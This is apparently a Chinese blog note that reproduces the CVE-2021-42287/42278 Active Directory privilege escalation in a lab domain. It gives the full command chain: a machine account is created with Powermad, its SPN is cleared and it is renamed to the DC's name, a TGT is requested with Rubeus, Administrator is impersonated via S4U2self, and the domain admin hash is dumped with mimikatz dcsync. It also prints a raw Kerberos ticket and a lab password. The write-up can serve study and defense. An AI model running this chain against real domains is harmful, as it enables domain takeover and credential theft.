zoukankan      html  css  js  c++  java
  • CVE202142287/CVE202142278 复现

    根据:https://mp.weixin.qq.com/s/Z3mI5eEc8-iudqdU7EZ3EQ走了一遍,留个笔记

    1. 创建机器用户hello
    Import-Module .\Powermad.ps1
    New-MachineAccount -MachineAccount hello -Domain sync.net -DomainController sync-dc.sync.net -Verbose
    



    2. 删除spn记录

    Import-Module .\powerview.ps1
    Set-DomainObject "CN=hello,CN=Computers,DC=sync,DC=net" -Clear 'serviceprincipalname' -Verbose
    


    3. 重新设置机器名

    Import-Module .\Powermad.ps1
    Set-MachineAccountAttribute -MachineAccount hello -Value "sync-dc" -Attribute samaccountname -Verbose
    


    4. 请求TGT

    Rubeus2.exe asktgt /user:sync-dc /password:zy123!@#45 /domian:sync.net /dc:sync-dc.sync.net /nowrap
    


    5. 恢复原来的机器属性

    Import-Module .\Powermad.ps1
    Set-MachineAccountAttribute -MachineAccount hello -Value "hello" -Attribute samaccountname -Verbose
    


    6. Request S4U2self(获取票据)

    Rubeus2.exe s4u /impersonateuser:Administrator /nowrap /dc:sync-dc.sync.net /self /altservice:LDAP/sync-dc.sync.net /ptt /ticket:doIEuDCCBLSgAwIBBaEDAgEWooID2jCCA9ZhggPSMIIDzqADAgEFoQobCFNZTkMuTkVUoh0wG6ADAgECoRQwEhsGa3JidGd0GwhTeW5jLm5ldKOCA5owggOWoAMCARKhAwIBAqKCA4gEggOEctv8iHSYZ1VmMmu9lCIWyqRMPwSudSYT/ZhbgVCggrSHUD2HZdj5cp5PlC4eTjpuUF6tli8MfdNc/orzs/J+zaEpSMAuS60FIjImoTEzLwiyKeKoVCOKnwdsetfExr+NXK8PqFGE6VFWcAn3PbEGwTPd/oBYvtYWKOQhbDbWgjKod5VeO1iMK7HfGM31v5ZO9p9lXs+FREoEaTl7+qaMx1NJJNXjj1JXXt1GoFC52/sBzUy0bXHY8UVTzCZsTF/JMvrt50F+SOnXV4aGNXNEuZ3WUpxMHIh488vfJ/AbpLI+gf7uvlgmMsl2NoYyF36AgaApTHwYEV/Uhm29epmclR6cL6+cSf7oZzYLCWHjp5fmyTpp9JMfeiR0gXi/B3JyJqVHV9E46fwIT1VYE/QXdq2EH73OMH2T24EQ6piToKUB7Wo6vHqndU65lsUlkNoYs1ppKU4FIfItb8gWaO9tL1qL+DAYwW7FWnBghIvJ6NW5tgl7zXh2rbSCNNMSOKPdbL6ZukonsVICuHYrsiP2ovb7RZmqPBhgAFc8WqbjIdAsuZJ9TgowFf0BXlXNONQSyGTK8hX1dve16GQ2HTZy4ibH9EL6g2E1VRWiOwfHDQkbawiJjsoWX0EAMPCKu/DP35TR4gwe972J6yhHvUZq5nJkQcVLm9OCy++YbXw64EfzFnDmTvI3VkHuB6dH1nO3qGpKkhbp39e+CuwGS3FKrYtCYZXaNFCi9I3XOh2aow8GnZ/5iRoHGr1hlpf8I18bSk7Ve/zobznX57KBDV8relz0d2lpmDMw4B0drxQQINoSPYwA3upbM6C7r9QjawvyYQIeuydEybLo47uuY1cQbI2KI71O3kOObMaFu5/3q7ALhW975J2rQ0gtLrduiw2sbliD6pV2MGwz1MgI0PhJlyXsANmGGnQHLRJrO/xVrcryVRBIUbEKYfC6YWhqwof9+/BcGRmRFSudPqi6sXwJmsAjbaRfpse6U/0yqyKcseape9P9T0P1OgrjPEX5g3BUy18cJZZ/fR0yMnpZc7huK9rF+dktgjxWL9HL8iFXlrOniVicTtoUclJfXM5em6+3KOHIaE+uk3cEtq0UEyT/U4LGsr4l2UON6ZBSbnq6ZliX2UXTlZYRKe8k3F28DOUw3XlBpCNYG4PwcT59mR22jZth4PatKBhTShTPiMXdiwLgUMKso4HJMIHGoAMCAQCigb4Egbt9gbgwgbWggbIwga8wgaygGzAZoAMCARehEgQQTffKRcd/1+EY5yLZ8fESGaEKGwhTWU5DLk5FVKIUMBKgAwIBAaELMAkbB3N5bmMtZGOjBwMFAEDhAAClERgPMjAyMTEyMTMwNDU0MjVaphEYDzIwMjExMjEzMTQ1NDI1WqcRGA8yMDIxMTIyMDA0NTQyNVqoChsIU1lOQy5ORVSpHTAboAMCAQKhFDASGwZrcmJ0Z3QbCFN5bmMubmV0
    
    1. 获取 域管用户的 NTLM Hash
    lsadump::dcsync /user:sync.net\administrator
    

  • 相关阅读:
    使用Ruby On Rails建立一个山寨小说站(一)
    sql server 数据库备份概述
    JVM崩溃的原因及解决!
    C++中的字节对齐
    jqueyr用jsonp跨越,有服务器端代码(.net(C#语言))
    lammps_data文件
    jquery日历插件_时间范围_双日历_多日历
    js 判断所选时间(或者当前时间)是否在某一时间段
    webstorm安装时遇到The JVM could not be started的解决方法
    Webstorm快捷键
  • 原文地址:https://www.cnblogs.com/mrhonest/p/15682858.html
Copyright © 2011-2022 走看看